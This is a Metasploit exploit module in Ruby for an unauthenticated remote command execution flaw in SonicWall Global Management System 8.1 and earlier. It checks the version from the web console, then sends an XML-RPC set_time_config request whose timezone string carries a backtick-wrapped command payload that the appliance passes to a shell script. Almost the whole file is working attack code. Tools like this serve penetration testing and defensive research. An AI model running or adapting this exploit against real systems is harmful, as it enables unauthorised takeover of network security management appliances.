##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name' => "SonicWall Global Management System XMLRPC set_time_zone Unauth RCE",
      'Description' => %q{
        This module exploits a vulnerability in SonicWall Global
        Management System Virtual Appliance versions 8.1 (Build 8110.1197)
        and below. This virtual appliance can be downloaded from
        http://www.sonicwall.com/products/sonicwall-gms/ and is used 'in a
        holistic way to manage your entire network security environment.'

        These vulnerable versions (8.1 Build 8110.1197 and below) do not
        prevent unauthenticated, external entities from making XML-RPC
        requests to port 21009 of the virtual app. After the XML-RPC call
        is made, a shell script is called like so:
        'timeSetup.sh --tz="`command injection here`"' --usentp="blah"'.
      },
      'License' => MSF_LICENSE,
      'Author' => [ 'Michael Flanders', #MSF Module
                    'kernelsmith' #Advisor
                  ],
      'References' => [
        ['URL', 'https://www.digitaldefense.com/digital-defense/vrt-discoveries/'],
        ['URL', 'https://slides.com/kernelsmith/bsidesaustin2018/#/']
      ],
      'Platform' => [ 'unix' ],
      'Arch' => ARCH_CMD,
      'Targets' => [
        [ 'SonicWall Global Management System Virtual Appliance', {} ],
      ],
      'Payload' => {
        # Can't use ampersand, Java's XML-RPC parser will complain and return an error
        'BadChars' => "\x26",
         'Compat' => {
           'PayloadType' => 'cmd',
           'RequiredCmd' => 'generic bash telnet'
         }
      },
      'DisclosureDate' => '2016-07-22',
      'DefaultTarget' => 0))

      register_options(
        [
          OptString.new('WEB_SERVER_PORT', [ false, 'Port of web console login page.
                                             Defaults to 80/443 depending on SSL.'])
        ])
  end

  def check
    if datastore['WEB_SERVER_PORT']
      port_number = datastore['WEB_SERVER_PORT']
    else
      port_number = datastore['SSL'] ? '443' : '80'
    end

    handler = datastore['SSL'] ? 'https' : 'http'

    res = request_url("#{handler}://#{rhost}:#{port_number}")

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    unless res.code == 200 && res.body =~ /<TITLE>.+v(\d\.\d)/
      return CheckCode::Safe
    end

    version = Rex::Version.new $1.to_s

    unless version <= Rex::Version.new('8.1')
      return CheckCode::Safe
    end

    CheckCode::Appears
  end

  def exploit
    unless check == CheckCode::Appears
      fail_with Failure::NotVulnerable, "The target is not vulnerable."
    end

    print_status "The target appears to be vulnerable, continuing exploit..."
    send_xml
  end

  def send_xml
    xml_body = <<~HERESTRING
    <?xml version="1.0" encoding="UTF-8"?>
    <methodCall>
      <methodName>set_time_config</methodName>
      <params>
        <param>
          <value>
            <struct>
              <member>
                <name>timezone</name>
                <value>
                  <string>"`#{payload.encoded}`"</string>
                </value>
              </member>
            </struct>
          </value>
        </param>
      </params>
    </methodCall>
    HERESTRING

    res = send_request_raw({
      'method'  => 'POST',
      'uri'     => '/',
      'data'    => xml_body,
      'ctype'   => 'text/xml; charset=UTF-8'
    })

    unless res && res.body.include?("success")
      print_error("Error sending XML to #{rhost}:#{rport}")
    end
  end

end
